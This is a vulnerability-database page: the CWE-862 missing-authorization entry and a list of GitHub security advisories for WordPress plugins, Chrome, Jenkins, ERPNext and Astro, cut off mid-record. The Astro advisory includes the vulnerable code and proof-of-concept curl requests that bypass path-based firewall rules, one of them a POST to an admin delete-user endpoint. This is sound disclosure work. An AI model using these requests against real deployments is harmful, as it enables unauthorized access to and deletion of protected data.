CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
20100 vulnerabilities reference this CWE, most recent first.
GHSA-MR6C-6RQV-XMMH
Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-08-18 15:31Unauthenticated Broken Access Control in GiveWP <= 4.16.5.1 versions.
{
"affected": [],
"aliases": [
"CVE-2026-73352"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T15:17:03Z",
"severity": "MODERATE"
},
"details": "Unauthenticated Broken Access Control in GiveWP \u003c= 4.16.5.1 versions.",
"id": "GHSA-mr6c-6rqv-xmmh",
"modified": "2026-08-18T15:31:48Z",
"published": "2026-08-18T15:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73352"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/give/vulnerability/wordpress-givewp-plugin-4-16-5-1-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MR6C-QR57-MP97
Vulnerability from github – Published: 2026-08-25 21:31 – Updated: 2026-08-28 21:30Missing authorization in BFCache in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-78967"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T21:17:52Z",
"severity": "MODERATE"
},
"details": "Missing authorization in BFCache in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-mr6c-qr57-mp97",
"modified": "2026-08-28T21:30:56Z",
"published": "2026-08-25T21:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78967"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0256176589.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/514529599"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MR6P-PXVC-7864
Vulnerability from github – Published: 2026-07-23 09:31 – Updated: 2026-07-23 15:30The Praison AI SEO WordPress plugin before 5.0.7 does not perform authorization checks on several of its REST API routes, allowing unauthenticated users to modify the permalink of any published post and to read Praison AI SEO WordPress plugin before 5.0.7 configuration data.
{
"affected": [],
"aliases": [
"CVE-2026-12082"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T07:16:31Z",
"severity": "HIGH"
},
"details": "The Praison AI SEO WordPress plugin before 5.0.7 does not perform authorization checks on several of its REST API routes, allowing unauthenticated users to modify the permalink of any published post and to read Praison AI SEO WordPress plugin before 5.0.7 configuration data.",
"id": "GHSA-mr6p-pxvc-7864",
"modified": "2026-07-23T15:30:44Z",
"published": "2026-07-23T09:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12082"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/d23cb7bd-b40c-4f87-a134-7c3b62043f18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MR6Q-RP88-FX84
Vulnerability from github – Published: 2026-03-26 18:41 – Updated: 2026-03-26 18:41Summary
The @astrojs/vercel serverless entrypoint reads the x-astro-path header and x_astro_path query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.
The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/* does nothing when the request comes in as POST /api/health?x_astro_path=/admin/delete-user.
Affected Versions
Verified against:
- Astro 5.18.1 + @astrojs/vercel 9.0.4 — GET and POST override both work. Full exploitation.
- Astro 6.0.3 + @astrojs/vercel 10.0.0 — GET override works. POST/DELETE hit a duplex bug in the Request constructor (the duplex: 'half' option is required when passing a ReadableStream body — this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix — the code explicitly passes body: request.body and intends to preserve it. Once the missing duplex option is added, all methods will be exploitable on v6 as well.
The vulnerable code path is identical across both versions.
Affected Component
- Package:
@astrojs/vercel - File:
packages/integrations/vercel/src/serverless/entrypoint.ts(lines 19–28) - Constants:
packages/integrations/vercel/src/index.ts(lines 44–45)
Vulnerable Code
The handler blindly trusts the caller-supplied path:
const realPath =
request.headers.get(ASTRO_PATH_HEADER) ??
url.searchParams.get(ASTRO_PATH_PARAM);
if (typeof realPath === 'string') {
url.pathname = realPath; // no validation, no auth
request = new Request(url.toString(), {
method: request.method, // preserved
headers: request.headers, // preserved
body: request.body, // preserved
});
}
What makes this worse is the inconsistency. x-astro-locals right below it is gated behind middlewareSecret, but x-astro-path gets nothing:
// x-astro-locals: protected
if (astroLocalsHeader) {
if (middlewareSecretHeader !== middlewareSecret) {
return new Response('Forbidden', { status: 403 });
}
locals = JSON.parse(astroLocalsHeader);
}
// x-astro-path: no equivalent check (lines 19-28 above)
Conditions
- Astro +
@astrojs/verceladapter output: 'server'(SSR)- No
src/middleware.tsdefined, or middleware not using Edge mode
This is a realistic production configuration. Middleware is optional and many deployments skip it.
The x-astro-path mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (_render) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.
Proof of Concept
Setup: minimal Astro SSR project on Vercel, no middleware. Routes: /public (page), /api/health (API endpoint), /admin/secret (page), /admin/delete-user (API endpoint). Vercel Firewall blocks /admin/*.
GET — page content override:
curl "https://target.vercel.app/public?x_astro_path=/admin/secret"
# Returns: PAGE_ID: admin-secret
GET — API route override:
curl "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"
# Returns: {"pageId":"admin-delete-user","message":"This is a protected admin API endpoint","method":"GET"}
Header override:
curl -H "x-astro-path: /admin/secret" https://target.vercel.app/public
# Returns: PAGE_ID: admin-secret
Vercel Firewall bypass (GET):
# Direct access — blocked
curl https://target.vercel.app/admin/secret
# Returns: Forbidden
# Via override — Firewall sees /public, serves /admin/secret
curl "https://target.vercel.app/public?x_astro_path=/admin/secret"
# Returns: PAGE_ID: admin-secret
Vercel Firewall bypass (POST) — verified on Astro 5.x:
# Direct access — blocked
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
https://target.vercel.app/admin/delete-user
# Returns: Forbidden
# Via override — Firewall sees /api/health, executes POST /admin/delete-user
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"
# Returns: {"action":"delete-user","status":"deleted","method":"POST"}
The Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.
ISR is not affected. Vercel's cache layer appears to intercept before the function runs.
Impact
Firewall/WAF bypass — read (Critical): Any path-based restriction in Vercel Dashboard or vercel.json (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.
Firewall/WAF bypass — write (Critical): POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated duplex bug in the Request constructor, not by any security check.
Audit log mismatch (Medium): Vercel logs record the original request path and query string (e.g. /public?x_astro_path=/admin/secret), so the override parameter is technically visible. However, the logged path (/public) does not reflect the path actually served (/admin/secret). Detecting this attack from logs requires knowing what x_astro_path means — standard monitoring and alerting based on request paths will not catch it.
Prior Art
CVE-2025-29927 (Next.js): x-middleware-subrequest header injectable by external clients, bypassing middleware. Same class of vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@astrojs/vercel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33768"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:41:34Z",
"nvd_published_at": "2026-03-24T19:16:55Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `@astrojs/vercel` serverless entrypoint reads the `x-astro-path` header and `x_astro_path` query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel\u0027s platform-level path restrictions entirely.\n\nThe override preserves the original HTTP method and body, so this isn\u0027t limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking `/admin/*` does nothing when the request comes in as `POST /api/health?x_astro_path=/admin/delete-user`.\n\n## Affected Versions\n\nVerified against:\n- **Astro 5.18.1 + @astrojs/vercel 9.0.4** \u2014 GET and POST override both work. Full exploitation.\n- **Astro 6.0.3 + @astrojs/vercel 10.0.0** \u2014 GET override works. POST/DELETE hit a `duplex` bug in the Request constructor (the `duplex: \u0027half\u0027` option is required when passing a ReadableStream body \u2014 this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix \u2014 the code explicitly passes `body: request.body` and intends to preserve it. Once the missing `duplex` option is added, all methods will be exploitable on v6 as well.\n\nThe vulnerable code path is identical across both versions.\n\n## Affected Component\n\n- **Package**: `@astrojs/vercel`\n- **File**: `packages/integrations/vercel/src/serverless/entrypoint.ts` (lines 19\u201328)\n- **Constants**: `packages/integrations/vercel/src/index.ts` (lines 44\u201345)\n\n## Vulnerable Code\n\nThe handler blindly trusts the caller-supplied path:\n\n```typescript\nconst realPath =\n request.headers.get(ASTRO_PATH_HEADER) ??\n url.searchParams.get(ASTRO_PATH_PARAM);\nif (typeof realPath === \u0027string\u0027) {\n url.pathname = realPath; // no validation, no auth\n request = new Request(url.toString(), {\n method: request.method, // preserved\n headers: request.headers, // preserved\n body: request.body, // preserved\n });\n}\n```\n\nWhat makes this worse is the inconsistency. `x-astro-locals` right below it is gated behind `middlewareSecret`, but `x-astro-path` gets nothing:\n\n```typescript\n// x-astro-locals: protected\nif (astroLocalsHeader) {\n if (middlewareSecretHeader !== middlewareSecret) {\n return new Response(\u0027Forbidden\u0027, { status: 403 });\n }\n locals = JSON.parse(astroLocalsHeader);\n}\n// x-astro-path: no equivalent check (lines 19-28 above)\n```\n\n## Conditions\n\n1. Astro + `@astrojs/vercel` adapter\n2. `output: \u0027server\u0027` (SSR)\n3. No `src/middleware.ts` defined, or middleware not using Edge mode\n\nThis is a realistic production configuration. Middleware is optional and many deployments skip it.\n\nThe `x-astro-path` mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (`_render`) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.\n\n## Proof of Concept\n\nSetup: minimal Astro SSR project on Vercel, no middleware. Routes: `/public` (page), `/api/health` (API endpoint), `/admin/secret` (page), `/admin/delete-user` (API endpoint). Vercel Firewall blocks `/admin/*`.\n\n**GET \u2014 page content override:**\n```bash\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**GET \u2014 API route override:**\n```bash\ncurl \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"pageId\":\"admin-delete-user\",\"message\":\"This is a protected admin API endpoint\",\"method\":\"GET\"}\n```\n\n**Header override:**\n```bash\ncurl -H \"x-astro-path: /admin/secret\" https://target.vercel.app/public\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (GET):**\n```bash\n# Direct access \u2014 blocked\ncurl https://target.vercel.app/admin/secret\n# Returns: Forbidden\n\n# Via override \u2014 Firewall sees /public, serves /admin/secret\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (POST) \u2014 verified on Astro 5.x:**\n```bash\n# Direct access \u2014 blocked\ncurl -X POST -H \"Content-Type: application/json\" -d \u0027{\"userId\":\"123\"}\u0027 \\\n https://target.vercel.app/admin/delete-user\n# Returns: Forbidden\n\n# Via override \u2014 Firewall sees /api/health, executes POST /admin/delete-user\ncurl -X POST -H \"Content-Type: application/json\" -d \u0027{\"userId\":\"123\"}\u0027 \\\n \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"action\":\"delete-user\",\"status\":\"deleted\",\"method\":\"POST\"}\n```\n\nThe Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.\n\nISR is not affected. Vercel\u0027s cache layer appears to intercept before the function runs.\n\n## Impact\n\n**Firewall/WAF bypass \u2014 read (Critical):** Any path-based restriction in Vercel Dashboard or `vercel.json` (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.\n\n**Firewall/WAF bypass \u2014 write (Critical):** POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated `duplex` bug in the Request constructor, not by any security check.\n\n**Audit log mismatch (Medium):** Vercel logs record the original request path and query string (e.g. `/public?x_astro_path=/admin/secret`), so the override parameter is technically visible. However, the logged path (`/public`) does not reflect the path actually served (`/admin/secret`). Detecting this attack from logs requires knowing what `x_astro_path` means \u2014 standard monitoring and alerting based on request paths will not catch it.\n\n## Prior Art\n\nCVE-2025-29927 (Next.js): `x-middleware-subrequest` header injectable by external clients, bypassing middleware. Same class of vulnerability.",
"id": "GHSA-mr6q-rp88-fx84",
"modified": "2026-03-26T18:41:34Z",
"published": "2026-03-26T18:41:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/withastro/astro/security/advisories/GHSA-mr6q-rp88-fx84"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33768"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/pull/15959"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/commit/335a204161f5a7293c128db570901d4f8639c6ed"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-f82v-jwr5-mffw"
},
{
"type": "PACKAGE",
"url": "https://github.com/withastro/astro"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/releases/tag/@astrojs/vercel@10.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Astro: Unauthenticated Path Override via `x-astro-path` / `x_astro_path`"
}
GHSA-MR6V-Q2H8-Q4P5
Vulnerability from github – Published: 2025-01-08 12:30 – Updated: 2025-01-08 12:30The Shopping Cart & eCommerce Store plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the webhook function in all versions up to, and including, 5.7.8. This makes it possible for unauthenticated attackers to modify order statuses.
{
"affected": [],
"aliases": [
"CVE-2024-12712"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-08T10:15:06Z",
"severity": "MODERATE"
},
"details": "The Shopping Cart \u0026 eCommerce Store plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the webhook function in all versions up to, and including, 5.7.8. This makes it possible for unauthenticated attackers to modify order statuses.",
"id": "GHSA-mr6v-q2h8-q4p5",
"modified": "2025-01-08T12:30:41Z",
"published": "2025-01-08T12:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12712"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3211285/wp-easycart/trunk/wpeasycart.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/28a3f382-3801-4e98-9004-56c27a85f0a2?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MR75-899X-QCXQ
Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2023-10-27 13:16Jenkins Chaos Monkey Plugin 0.3 and earlier does not perform permission checks in several HTTP endpoints.
This allows attackers with Overall/Read permission to generate load and to generate memory leaks.
Jenkins Chaos Monkey Plugin 0.4 requires Overall/Administer permission to generate load and to generate memory leaks.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3"
},
"package": {
"ecosystem": "Maven",
"name": "io.jenkins.plugins:chaos-monkey"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-2322"
],
"database_specific": {
"cwe_ids": [
"CWE-401",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-16T22:21:13Z",
"nvd_published_at": "2020-12-03T16:15:00Z",
"severity": "HIGH"
},
"details": "Jenkins Chaos Monkey Plugin 0.3 and earlier does not perform permission checks in several HTTP endpoints.\n\nThis allows attackers with Overall/Read permission to generate load and to generate memory leaks.\n\nJenkins Chaos Monkey Plugin 0.4 requires Overall/Administer permission to generate load and to generate memory leaks.",
"id": "GHSA-mr75-899x-qcxq",
"modified": "2023-10-27T13:16:47Z",
"published": "2022-05-24T17:35:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2322"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/chaos-monkey-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2020-12-03/#SECURITY-2109%20(1)"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2020/12/03/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing permission checks in Jenkins Chaos Monkey Plugin"
}
GHSA-MR7P-65VM-9479
Vulnerability from github – Published: 2026-09-22 15:32 – Updated: 2026-09-22 15:32MarketKing plugin for WordPress before 2.1.72 contains a missing authorization vulnerability in the marketking_get_page_content AJAX action that allows authenticated attackers with subscriber-level access or higher to access arbitrary vendor administrator panel pages by supplying an arbitrary vendor user ID. Attackers can bypass authorization controls by submitting a target vendor ID in the request to access payout pages, financial reports, and vendor dashboard content belonging to any vendor in the marketplace.
{
"affected": [],
"aliases": [
"CVE-2026-93344"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-22T15:17:21Z",
"severity": "HIGH"
},
"details": "MarketKing plugin for WordPress before 2.1.72 contains a missing authorization vulnerability in the marketking_get_page_content AJAX action that allows authenticated attackers with subscriber-level access or higher to access arbitrary vendor administrator panel pages by supplying an arbitrary vendor user ID. Attackers can bypass authorization controls by submitting a target vendor ID in the request to access payout pages, financial reports, and vendor dashboard content belonging to any vendor in the marketplace.",
"id": "GHSA-mr7p-65vm-9479",
"modified": "2026-09-22T15:32:41Z",
"published": "2026-09-22T15:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93344"
},
{
"type": "WEB",
"url": "https://marketkingplugin.com/changelog"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/marketking-multivendor-marketplace-for-woocommerce"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/marketking-missing-authorization-via-marketking-get-page-content-ajax"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MR93-X2JP-PQ8F
Vulnerability from github – Published: 2025-03-08 15:30 – Updated: 2025-03-08 15:30The RomethemeKit For Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_options and reset_widgets functions in all versions up to, and including, 1.5.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify plugin settings or reset plugin widgets to their default state (all enabled). NOTE: This vulnerability was partially fixed in version 1.5.3.
{
"affected": [],
"aliases": [
"CVE-2024-10326"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-08T13:15:11Z",
"severity": "MODERATE"
},
"details": "The RomethemeKit For Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_options and reset_widgets functions in all versions up to, and including, 1.5.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify plugin settings or reset plugin widgets to their default state (all enabled). NOTE: This vulnerability was partially fixed in version 1.5.3.",
"id": "GHSA-mr93-x2jp-pq8f",
"modified": "2025-03-08T15:30:53Z",
"published": "2025-03-08T15:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10326"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3220079/rometheme-for-elementor"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3231792/rometheme-for-elementor"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/230b3f2f-44cf-46eb-8e6a-3c52f2ea2fb9?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MR9J-QQJH-67F2
Vulnerability from github – Published: 2024-03-06 18:30 – Updated: 2024-05-02 14:08A missing permission check in Jenkins Subversion Partial Release Manager Plugin 1.0.1 and earlier allows attackers with Item/Read permission to trigger a build.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:svn-partial-release-mgr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28159"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-06T19:37:24Z",
"nvd_published_at": "2024-03-06T17:15:10Z",
"severity": "MODERATE"
},
"details": "A missing permission check in Jenkins Subversion Partial Release Manager Plugin 1.0.1 and earlier allows attackers with Item/Read permission to trigger a build.",
"id": "GHSA-mr9j-qqjh-67f2",
"modified": "2024-05-02T14:08:32Z",
"published": "2024-03-06T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28159"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/svn-partial-release-mgr-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2024-03-06/#SECURITY-3325"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/03/06/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins Subversion Partial Release Manager Plugin missing permission check"
}
GHSA-MR9W-MFCG-7XQ4
Vulnerability from github – Published: 2026-10-13 00:31 – Updated: 2026-10-13 00:31Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. Authenticated low-privileged users can call these endpoints to modify documents and data beyond what their assigned role permits.
{
"affected": [],
"aliases": [
"CVE-2026-109610"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-12T23:17:24Z",
"severity": "HIGH"
},
"details": "Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. Authenticated low-privileged users can call these endpoints to modify documents and data beyond what their assigned role permits.",
"id": "GHSA-mr9w-mfcg-7xq4",
"modified": "2026-10-13T00:31:25Z",
"published": "2026-10-13T00:31:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/frappe/erpnext/security/advisories/GHSA-pg3r-7236-pg74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109610"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/frappe-erpnext-before-15.119.1-missing-authorization-allows-unauthorized-document-modification"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
